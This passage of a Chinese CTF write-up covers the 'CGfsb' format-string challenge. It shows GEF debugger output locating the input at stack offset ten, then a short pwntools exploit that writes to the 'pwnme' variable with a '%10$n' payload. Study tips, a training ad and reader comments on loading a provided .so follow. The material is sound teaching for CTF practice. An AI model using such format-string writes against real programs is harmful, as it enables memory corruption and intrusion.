0x80486c1 <main + 244 > call 0x8048490 <puts@plt> 0x80486c6 <main + 249 > lea eax, [esp + 0x28 ] 0x80486ca <main + 253 > mov DWORD PTR [esp], eax → 0x80486cd <main + 256 > call 0x8048460 <printf@plt> ↳ 0x8048460 <printf@plt + 0 > jmp DWORD PTR ds: 0x804a014 0x8048466 <printf@plt + 6 > push 0x10 0x804846b <printf@plt + 11 > jmp 0x8048430 0x8048470 <fgets@plt + 0 > jmp DWORD PTR ds: 0x804a018 0x8048476 <fgets@plt + 6 > push 0x18 0x804847b <fgets@plt + 11 > jmp 0x8048430 ────────────────────────────────────────────────────────────────────── arguments (guessed) ──── printf@plt ( ) ────────────────────────────────────────────────────────────────────────────────── threads ──── [ #0] Id 1, Name: "CGfsb", stopped 0x80486cd in main (), reason: BREAKPOINT ──────────────────────────────────────────────────────────────────────────────────── trace ──── [ #0] 0x80486cd → main() ─────────────────────────────────────────────────────────────────────────────────────────────── Breakpoint 1 , 0x080486cd in main () gef➤ x / 10wx $esp 0xffffce20 : 0xffffce48 0xffffce3e 0xf7fb55c0 0xffffce8c 0xffffce30 : 0xf7ffda9c 0x00000001 0xf7fd0410 0x6f6e0001 0xffffce40 : 0x656d616e 0x0000000a gef➤ x / 20wx $esp 0xffffce20 : 0xffffce48 0xffffce3e 0xf7fb55c0 0xffffce8c 0xffffce30 : 0xf7ffda9c 0x00000001 0xf7fd0410 0x6f6e0001 0xffffce40 : 0x656d616e 0x0000000a 0x41414141 0x41414141 0xffffce50 : 0x00000a41 0x00000000 0x00000000 0x00000000 0xffffce60 : 0x00000000 0x00000000 0x00000000 0x00000000 |
在第十个位置上存放我们的字符串,据此编写exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 | from pwn import * context.log_level = "DEBUG" pwnme_address = 0x0804A068 payload = p32(pwnme_address) + 'AAAA' + '%10$n' io = process( 'CGfsb' ) io.recv() io.sendline( 'noname' ) io.recv() io.sendline(payload) io.recv() |
一些小技巧
- 学习别人exp的时候,仅仅看懂可能还不够,尝试添加
gdb.attach
上去试试payload发出去之后控制流如何变化。 - 有些时候书本上由于篇幅原因一些知识一笔带过,但是比较重要的基础知识例如elf文件格式,最好花时间学习书后的参考资料,相关的paper,etc.
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
赞赏
|
|
---|---|
|
level3怎么都不肯加载这个so
|
|
天堂猪 level3怎么都不肯加载这个so[em_9]我也是试了多次无法正确加载提供的so,猜想可能是因为动态加载器不匹配的原因。我觉得基于stack的pwn实战中只要能运行程序,提供的 libc不加载也行,我的exp里也只是用提供的so做了一些取偏移的操作。 |
- [原创][安全运维向]模拟搭建小型企业内网 14055
- 攻防世界-PWN-高手进阶区-难度3到4-全部题解 18355
- [原创]攻击格式化字符串在.bss段的程序(bugku-pwn6) 14995
- [原创]XCTF攻防世界-pwn新手练习区全部十题解析 13632